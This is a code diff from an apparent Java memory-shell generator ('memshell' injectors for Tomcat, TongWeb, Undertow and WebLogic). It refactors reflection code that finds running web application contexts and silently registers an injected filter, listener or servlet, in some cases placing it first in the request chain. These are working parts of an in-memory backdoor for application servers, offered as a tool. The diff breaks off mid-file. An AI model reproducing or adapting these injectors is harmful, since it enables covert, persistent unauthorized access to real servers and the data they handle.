-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-            return out.toByteArray();
-        } finally {
-            if (gzipInputStream != null) {
-                gzipInputStream.close();
-            }
-            out.close();
-        }
-    }
-
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
-                }
-            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
-    }
-
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
-    }
-
-    @SuppressWarnings("all")
-    private String getErrorMessage(Throwable throwable) {
-        PrintStream printStream = null;
-        try {
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            printStream = new PrintStream(outputStream);
-            throwable.printStackTrace(printStream);
-            return outputStream.toString();
-        } finally {
-            if (printStream != null) {
-                printStream.close();
-            }
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -7,9 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -43,7 +41,7 @@ public class TomcatWebSocketInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -61,6 +59,23 @@ public class TomcatWebSocketInjector {
         System.out.println(msg);
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -98,23 +113,6 @@ public class TomcatWebSocketInjector {
         return contexts;
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -44,7 +43,7 @@ public class TongWebFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -117,7 +116,7 @@ public class TongWebFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -150,28 +149,24 @@ public class TongWebFilterInjector {
         String filterClassName = getClassName();
         Object filterDef;
         Object filterMap;
-        Class<?> filterMapClass;
         Constructor<?> constructor;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tongweb 7
             constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
             filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-            filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+            filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
-            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             try {
                 // tongweb 6
                 constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
-                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
-                filterMap = filterMapClass.newInstance();
             } catch (Exception e) {
                 // tongweb 8
                 constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+                filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
-                filterMap = filterMapClass.newInstance();
             }
         }
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -179,13 +174,7 @@ public class TongWebFilterInjector {
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
         invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
-
+        invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        // addFilterMapFirst
-        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
-        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
-        results[0] = filterMap;
-        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
-        setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
 
         constructor.setAccessible(true);
         Object filterConfig = constructor.newInstance(context, filterDef);
@@ -232,58 +221,48 @@ public class TongWebFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
-    }
-
-
-    @SuppressWarnings("all")
-    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        for (Class<?> clazz = obj.getClass();
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                return clazz.getDeclaredField(name);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Field field = getField(obj, name);
-        field.setAccessible(true);
-        return field.get(obj);
-    }
-
-
-    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-        Field field = getField(obj, fieldName);
-        field.setAccessible(true);
-        field.set(obj, value);
-    }
-
-
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -218,25 +218,30 @@ public class TongWebListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java

@@ -35,7 +35,7 @@ public class TongWebValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java

@@ -7,10 +7,7 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashMap;
+import java.util.*;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 
@@ -43,7 +40,7 @@ public class UndertowFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -78,7 +75,6 @@ public class UndertowFilterInjector {
         return c + "(" + r + ")";
     }
 
-    @SuppressWarnings("Duplicates")
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -133,8 +129,6 @@ public class UndertowFilterInjector {
         Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
         invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
         invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
-        // invalidate cache
-        invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
     }
 
     @SuppressWarnings("unchecked")
@@ -219,25 +213,30 @@ public class UndertowFilterInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -38,7 +40,7 @@ public class UndertowListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -189,25 +191,30 @@ public class UndertowListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -5,8 +5,11 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -41,7 +44,7 @@ public class UndertowServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -210,25 +213,30 @@ public class UndertowServletInjector {
 
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -1,17 +1,13 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
-import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.management.ManagementFactory;
+import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.HashSet;
+import java.util.*;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -44,7 +40,7 @@ public class WebLogicFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -79,38 +75,93 @@ public class WebLogicFilterInjector {
         return c + "(" + r + ")";
     }
 
+    public static Object[] getContextsByMbean() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
     /**
      * weblogic.servlet.internal.WebAppServletContext
      * /opt/oracle/wls1036/server/lib/weblogic.jar
      * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
      */
-    public static Set<Object> getContext() throws Exception {
+    public static Set<Object> getContext() {
         Set<Object> webappContexts = new HashSet<Object>();
-        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        try {
-        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
-        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+        } catch (Throwable ignored) {
-            String key = entry.getKey();
-            if (key.contains("Type=WebAppComponentRuntime")) {
-                Object value = entry.getValue();
-                Object managedResource = getFieldValue(value, "managedResource");
-                if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
-                    webappContexts.add(getFieldValue(managedResource, "context"));
-                }
-            }
         }
         try {
-            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
-            Object request = null;
-            try {
-                Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
-                request = getFieldValue(connectionHandler, "request");
-            } catch (Exception x) {
-                // WebLogic 10.3.6
-                request = workEntry;
-            }
-            if (request != null) {
-                webappContexts.add(getFieldValue(request, "context"));
-            }
         } catch (Throwable ignored) {
         }
         return webappContexts;
@@ -142,14 +193,20 @@ public class WebLogicFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
+        Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
-        if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
+        for (Object obj : filters.keySet()) {
+            if (obj.toString().contains(getClassName())) {
                 return;
+            }
         }
+        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
+        Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
+        Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
+        cachedClasses.put(getClassName(), filter.getClass());
         invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
         List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
-        Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
+        Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
-        filterPatternList.add(0, curFilterInfo);
+        filterPatternList.add(0, currentMapping);
     }
 
     @Override
@@ -191,25 +248,30 @@ public class WebLogicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        try {
-        Method method = null;
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        while (clazz != null && method == null) {
+            Method method = null;
-            try {
+            while (clazz != null && method == null) {
-                if (paramClazz == null) {
+                try {
-                    method = clazz.getDeclaredMethod(methodName);
+                    if (paramClazz == null) {
-                } else {
+                        method = clazz.getDeclaredMethod(methodName);
-                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
                 }
-            } catch (NoSuchMethodException e) {
-                clazz = clazz.getSuperclass();
             }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
-        if (method == null) {
-            throw new NoSuchMethodException("Method not found: " + methodName);
-        }
-        method.setAccessible(true);
-        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -1,16 +1,15 @@
 package com.reajason.javaweb.memshell.injector.weblogic;
 
-import javax.management.MBeanServer;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
-import java.lang.management.ManagementFactory;
+import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
-import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -41,7 +40,7 @@ public class WebLogicListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null || contexts.isEmpty()) {
+        if (contexts == null) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -76,39 +75,88 @@ public class WebLogicListenerInjector {
         return c + "(" + r + ")";
     }
 
-
+    static Object[] getContextsByMbean() throws Throwable {
-    /**
-     * weblogic.servlet.internal.WebAppServletContext
-     * /opt/oracle/wls1036/server/lib/weblogic.jar
-     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
-     */
-    public static Set<Object> getContext() throws Exception {
         Set<Object> webappContexts = new HashSet<Object>();
-        MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
-        Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
-        for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
-            String key = entry.getKey();
+        theOneMethod.setAccessible(true);
-            if (key.contains("Type=WebAppComponentRuntime")) {
